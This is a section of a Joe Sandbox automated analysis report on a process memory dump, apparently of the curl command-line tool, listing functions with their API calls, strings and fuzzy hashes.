Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: freerealloc$fread
String ID:
API String ID: 913911637-0
Opcode ID: 549b6971a846cb3e81ee0ce978e0021001d6b95e3209e8623850afe899ca3203
Instruction ID: ac969b3318b0657dab166947b962babc6b18f9fe8bbfceb1ff57b26ea57c614f
Opcode Fuzzy Hash: 549b6971a846cb3e81ee0ce978e0021001d6b95e3209e8623850afe899ca3203
Instruction Fuzzy Hash: 141159BFA0431347EB6299759C44A27A6DD9FD0340F178436EDA5D720AF764DC0882B1

Function 00391460 Relevance: 7.6, APIs: 6, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0039147F
strlen.MSVCRT ref: 00391491
strlen.MSVCRT ref: 003914AE
strlen.MSVCRT ref: 003914C0
strlen.MSVCRT ref: 003914DD
strlen.MSVCRT ref: 003914EF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: a71bbcaca3df796b5cc798ee14f8b75764bd8a5a3c99f346f9411258e134d78b
Instruction ID: cfee89bb696fe939a2d3a87335dbf6568d797c24d07272529ce964fc4ec4ed11
Opcode Fuzzy Hash: a71bbcaca3df796b5cc798ee14f8b75764bd8a5a3c99f346f9411258e134d78b
Instruction Fuzzy Hash: 0F1181F2A001165BDF29DA7AD888B5B36ECAB98760F0B4420FC49EB341E634DC10C7B1

Function 0036638F Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00366895
free.MSVCRT ref: 003668B0
_strdup.MSVCRT ref: 003668C2
free.MSVCRT ref: 00366CEA
_strdup.MSVCRT ref: 00366CFC

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree$strchr
String ID:
API String ID: 1739957132-0
Opcode ID: 61b1699c62b800e7ff8071e69d398376b60fb2ff0890c6ea5d28814f2d4a9147
Instruction ID: dca0d7cce643806655f9aa6924fcd2a49c784b09da73e3331e0c05e4419669aa
Opcode Fuzzy Hash: 61b1699c62b800e7ff8071e69d398376b60fb2ff0890c6ea5d28814f2d4a9147
Instruction Fuzzy Hash: 7421D2B0A046418FDB16DF29D805719B7F5FF84350F158639E485D7684DB31ED11CBA2

Function 005E76C0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 005E76F9
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,003614B2), ref: 005E770A
GetCurrentThreadId.KERNEL32 ref: 005E7712
GetTickCount.KERNEL32 ref: 005E771A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,003614B2), ref: 005E7729

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3615357b9f068aed7b0fe7aae62dd4f1081cd1777a16895cf2b5cf4ba2297a1e
Instruction ID: e8b058ff64847fce832d3448faca44e08a65229e6b38a439f8b3da1ccb9be908
Opcode Fuzzy Hash: 3615357b9f068aed7b0fe7aae62dd4f1081cd1777a16895cf2b5cf4ba2297a1e
Instruction Fuzzy Hash: 7D1170B59093048FD710DF79F98855BBBE1FB88254F151D39E444C7210EB39D998CB92

Function 0038C4F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 193networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 0038C5C9

Part of subcall function 0037B510: Sleep.KERNEL32(?), ref: 0037B553

WSAGetLastError.WS2_32 ref: 0038C70C

Strings

select/poll on SSL socket, errno: %d, xrefs: 0038C713
schannel: timed out sending data (bytes sent: %zd), xrefs: 0038C6FD, 0038C729

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLastSleepmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 2868755610-3891197721
Opcode ID: 7282632f933b2f0d23dd2113565975fdd0c46352a4199fbe636a75d62eea0dc8
Instruction ID: f6cbff8eee515e8505e413bc9bd87af0d0245f0d4f889654e8733d9afa714a92
Opcode Fuzzy Hash: 7282632f933b2f0d23dd2113565975fdd0c46352a4199fbe636a75d62eea0dc8
Instruction Fuzzy Hash: 6F61AFB02083009FD711EF18C884B2ABBE5FF85318F1955ACF9598B391E775E904CB62

Function 00371F50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00371F64
strtoul.MSVCRT ref: 00372002

Strings

%, xrefs: 00371FA8
, xrefs: 00372027

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlenstrtoul
String ID: $%
API String ID: 4005410869-2111875603
Opcode ID: 79aa9c5ca3d862ee5830a698b14af5291d8a5d7f9a91b6b6780f3d26ccdb3536
Instruction ID: 688109a8db044cb1553b3bb268870a8ecf89f60f79712e91ee367df8d62381ed
Opcode Fuzzy Hash: 79aa9c5ca3d862ee5830a698b14af5291d8a5d7f9a91b6b6780f3d26ccdb3536
Instruction Fuzzy Hash: 8C31F6B69083805FD7229B259844B1BBBEAAF95340F09C46EF8DD87352E639D904C762

Function 00397590 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 003975EF
recv.WS2_32(?,?,?,00000000), ref: 0039764D
WSAGetLastError.WS2_32 ref: 00397660

Strings

Recv failure: %s, xrefs: 00397688

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLastmemcpyrecv
String ID: Recv failure: %s
API String ID: 770192775-4276829032
Opcode ID: bff1532dc40ef39d2e2211fa1806413f257a043aa2ed225045d1a28c4d0e09ac
Instruction ID: 70554352103b74051d5d1dfa18d0210febcff297b2817362d1532fe4820a6a8f
Opcode Fuzzy Hash: bff1532dc40ef39d2e2211fa1806413f257a043aa2ed225045d1a28c4d0e09ac
Instruction Fuzzy Hash: 5E318D75704605AFEB11CF28DC80B9ABBE5FF88328F198628F95897390D331ED408B91

Function 003697F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00369883
fwrite.MSVCRT ref: 003698D7
free.MSVCRT ref: 003698E5

Strings

1.2.11, xrefs: 0036986A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: freefwritemalloc
String ID: 1.2.11
API String ID: 3327534052-4284987526
Opcode ID: 4e12f6a9394af44681a320778001bfef6113cf147b5e387fb6d4d2fec7cedbc5
Instruction ID: 8b60cbb7a26451d5f1a940c6ecc8b36e19c0a262f50ebfec53cc5643ed810c77
Opcode Fuzzy Hash: 4e12f6a9394af44681a320778001bfef6113cf147b5e387fb6d4d2fec7cedbc5
Instruction Fuzzy Hash: 982196F59043016BE310AF11DC5971B7EE8BB91398F01491DF5985A281D7BAC548CBD3

Function 00370530 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0037053C
malloc.MSVCRT ref: 0037055C

Strings

\%03o, xrefs: 003705EB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: mallocstrlen
String ID: \%03o
API String ID: 770973918-2703259314
Opcode ID: a9d0d3b67cddafb52fe33bcfed64250a91a97ca3c732362b69a09f6e78b8b892
Instruction ID: 37fbf99183eee07122995198ac5dd3016e389006bbb7631fec2f9debdda4cb38
Opcode Fuzzy Hash: a9d0d3b67cddafb52fe33bcfed64250a91a97ca3c732362b69a09f6e78b8b892
Instruction Fuzzy Hash: DD21EE505082CCDAEB2A4B645C9179B35989F52328F14D265FC4D8D2D2F37DC608DBA7

Function 0036647F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00366488
free.MSVCRT ref: 00366A18
_strdup.MSVCRT(?), ref: 00366A36

Strings

;auto, xrefs: 0036647F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfreestrstr
String ID: ;auto
API String ID: 408984727-1462600812
Opcode ID: 3e9630f1a73ed7b5fb29a43bf6b292f84985b29a0c7c6bc173b1406557e1451f
Instruction ID: d202393d5ea16d32990f3d3e88a892ba72f3eef0a4acf8c9adec23998d51448d
Opcode Fuzzy Hash: 3e9630f1a73ed7b5fb29a43bf6b292f84985b29a0c7c6bc173b1406557e1451f
Instruction Fuzzy Hash: 9411C1B06042418FDB06CF28C84979A7BE4BF84348F148669E4959F2D5DB36CC52C792

Function 00367745 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0036774F
fopen.MSVCRT ref: 00367768
fclose.MSVCRT ref: 00367783

Strings

Failed to open %s!, xrefs: 00368C29

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: Failed to open %s!
API String ID: 3326340520-3671342594
Opcode ID: 238f5255e32dd4ab2f2a5e10e4929f5060b13dd77ddcde80aafc09a461ce1917
Instruction ID: 07393e792b3216a567a32eee1464e6280f819edc131bc2a50a60e4663e4e7173
Opcode Fuzzy Hash: 238f5255e32dd4ab2f2a5e10e4929f5060b13dd77ddcde80aafc09a461ce1917
Instruction Fuzzy Hash: D211E3B1A04201DFCB12DF14E945B6A77B4BB88304F144624F845972C4D736E9A0CBA2

Function 003750D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0037513A
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 0037515F

Part of subcall function 003818C0: memset.MSVCRT ref: 00381909
Part of subcall function 003818C0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 0038193C
Part of subcall function 003818C0: VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00381943
Part of subcall function 003818C0: VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 0038194D
Part of subcall function 003818C0: VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00381954
Part of subcall function 003818C0: VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00381960
Part of subcall function 003818C0: VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 0038196D

Strings

@, xrefs: 003750D4
@, xrefs: 00375144

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersiongetsockoptmemsetsetsockopt
String ID: @$ @
API String ID: 1669800062-1089145642
Opcode ID: 654486a0a371c22f0e2ccba4445f465e0bcbed6aaeb93172e363e79201e77650
Instruction ID: f258c52fe663f9d2f5b24cbfba47b9a3f903478f073eeea385899b6eac3d27da
Opcode Fuzzy Hash: 654486a0a371c22f0e2ccba4445f465e0bcbed6aaeb93172e363e79201e77650
Instruction Fuzzy Hash: 950184B0204302AAFB355B10EC1AB673799EF41B45F818118FA489A1C0D7F989848656

Function 00375070 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0037508E
WSAGetLastError.WS2_32(?,00000004), ref: 003750A8

Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397002
Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397039

Strings

TCP_NODELAY set, xrefs: 00375098
Could not set TCP_NODELAY: %s, xrefs: 003750B9

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$ErrorLastsetsockopt
String ID: Could not set TCP_NODELAY: %s$TCP_NODELAY set
API String ID: 1030407954-1562148346
Opcode ID: 1318057497e8bd04108b75258c61f683a30ff5893b2fb162e95b37487c6f4170
Instruction ID: 148aa6055a4921e91087be12a388c46a7840e4acb8b3caf10df2b47068c2e6e7
Opcode Fuzzy Hash: 1318057497e8bd04108b75258c61f683a30ff5893b2fb162e95b37487c6f4170
Instruction Fuzzy Hash: A2F027F2A413017BD6112B20FC07F6F366DAF41751F040118F909A6281E3BA654442F3

Function 00369440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00369446
printf.MSVCRT ref: 00369471

Strings

Usage: curl [options...] <url>, xrefs: 00369441
%-19s %s, xrefs: 0036946C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: printfputs
String ID: %-19s %s$Usage: curl [options...] <url>
API String ID: 3793801724-2287160993
Opcode ID: 42204a1800fbe6a692fbf32850e605c7a7a2ab6782b4387730aed69cecf51384
Instruction ID: 57b1abdf16250e290c5cd749297ee262a5774e1efb29a4c6e26317d70f5457e5
Opcode Fuzzy Hash: 42204a1800fbe6a692fbf32850e605c7a7a2ab6782b4387730aed69cecf51384
Instruction Fuzzy Hash: CBD0A9E3D02E52A6892921627E0A8A27E952A913303070721FBAC09290B1D728A0C2A2

Function 00398FB0 Relevance: 6.4, APIs: 5, Instructions: 200stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00398FD0
strchr.MSVCRT ref: 00398FED
memcpy.MSVCRT(00000000,?,00000000), ref: 0039912F
memcpy.MSVCRT(00000000,?,00000000), ref: 00399167
memcpy.MSVCRT(00000000,00000001,00000000), ref: 0039919C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy$strchr
String ID:
API String ID: 921174694-0
Opcode ID: 66f4e8b1a954e647332b3ca0a19e79702b664e8f713544c6f00c073f24f43076
Instruction ID: d9b5973b1ee43f01fc9b677c80998a48e3f08e42b565f23e8ea12eb0427e8da5
Opcode Fuzzy Hash: 66f4e8b1a954e647332b3ca0a19e79702b664e8f713544c6f00c073f24f43076
Instruction Fuzzy Hash: 6D61C0716043059FDB269B6DD88871AB6E8AB98704F05483DED89C7341E7B5DC48CB92

Function 0037C140 Relevance: 6.3, APIs: 5, Instructions: 92stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0037C18C
strchr.MSVCRT ref: 0037C19B
strlen.MSVCRT ref: 0037C1CF
strncpy.MSVCRT ref: 0037C1F9
strlen.MSVCRT ref: 0037C233

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

